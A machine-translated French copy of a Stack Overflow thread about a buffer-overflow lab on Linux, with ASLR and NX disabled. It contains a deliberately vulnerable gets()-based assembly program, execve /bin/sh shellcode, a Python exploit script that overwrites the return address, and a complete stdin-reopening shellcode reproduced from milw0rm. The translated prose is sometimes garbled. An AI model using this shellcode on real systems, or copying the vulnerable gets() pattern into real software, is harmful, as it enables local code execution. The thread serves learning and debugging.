Shellcode pour un simple débordement de la pile: programme Exploited shell avec se termine directement après exec ( « / bin / sh »)

StackOverflow https://stackoverflow.com/questions/2859127

Question

J'ai joué avec Dépassements de tampon sur Linux (AMD64) et essayé d'exploiter un programme simple, mais il a échoué. J'ai désactivé les fonctions de sécurité (adresse de randomisation de mise en page de l'espace avec sysctl -w kernel.randomize_va_space = 0 et le bit nx dans le bios). Il saute à la pile et exécute le shellcode, mais il ne démarre pas une coquille. Le execve syscall réussit, mais après, il termine juste. Toute idée de ce qui ne va pas? Exécution de l'fonctionne de façon autonome shellcode très bien.

Question bonus: Pourquoi dois-je besoin de mettre rax à zéro avant d'appeler printf? (Voir le commentaire dans le code)

fichier vulnérable buffer.s :

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

Compilé avec:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

Premiers pas avec:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

Déboguer avec gdb:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.
Était-ce utile?

La solution

Je vais avoir à peu près le même problème en ce moment avec Ubuntu 9.10 dans une machine virtuelle. Handicapées toutes les mesures de sécurité du système d'exploitation, et les exploits simples comme « quitter le programme et la sortie de code ensemble à 42 » faire le travail, mais en essayant d'ouvrir un shell, le programme se termine juste. La production de GDB est identique:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

La chose est, je besoin de travailler env. 16 heures pour une :-D de présentation


Mise à jour: J'ai trouvé cette étude soignée: www.shell-storm.org/papers/files/539.pdf

A la page 16, il dit: « Si nous essayons d'exécuter un shell, il se termine immédiatement dans cette configuration »

Dans d'autres exemples qui ne utilisent pas gets (), ils ne se reproduisent très bien une coquille. Malheureusement, ils ne donnent pas une indication sur pourquoi il ne fonctionne pas de cette façon. : (


Prochaine mise à jour: Il semble qu'il doit faire avec stdin. La coque ne peut pas utiliser correctement celui qu'il obtient du processus original. J'ai essayé d'utiliser un shell minimum j'ai trouvé le code source pour (evilsh). Il est écrasé au point où il a essayé de lire l'entrée. Je suppose, que les contrôles bash / tableau de bord pour cette année et les sorties silencieusement quand quelque chose ne va pas avec stdin.


Ok s'il vous plaît ne me tuez pas pour avoir cette conversation avec moi-même, mais ...

J'ai trouvé une solution!

Pour une raison quelconque, il est nécessaire de rouvrir les entrées. J'ai trouvé un shellcode travaillant ici:

http://www.milw0rm.com/shellcode/2040

Je ne vois pas un dur rapide, mais je peux exécuter des programmes, etc. en utilisant le shell qui ouvre.

Autres conseils

Le lien fourni par Zenoc est mort, mais se trouve encore dans la machine à remonter le temps. Pour plus de commodité, je l'ai reproduit ci-dessous. Je devais inclure add $0x10,%esp en haut pour me donner plus d'espace pile, comme tous les pushes du code mangé dans le tampon où mon shellcode a été stocké. Si vous souhaitez inclure que le shellcode aussi, il suffit d'ajouter « \ x83 \ XC4 \ x10 » au début. Le shellcode est de 55 octets sans mon addition, et 58 avec.

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

Note:. Je ne pouvais pas ajouter cela comme une modification à la réponse de la file d'attente, car Zenoc d'édition est pleine

Si vous rencontrez des problèmes repérer l'adresse de votre shellcode en raison de différentes piles dans le terminal et gdb, jetez un oeil à ma réponse .

Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top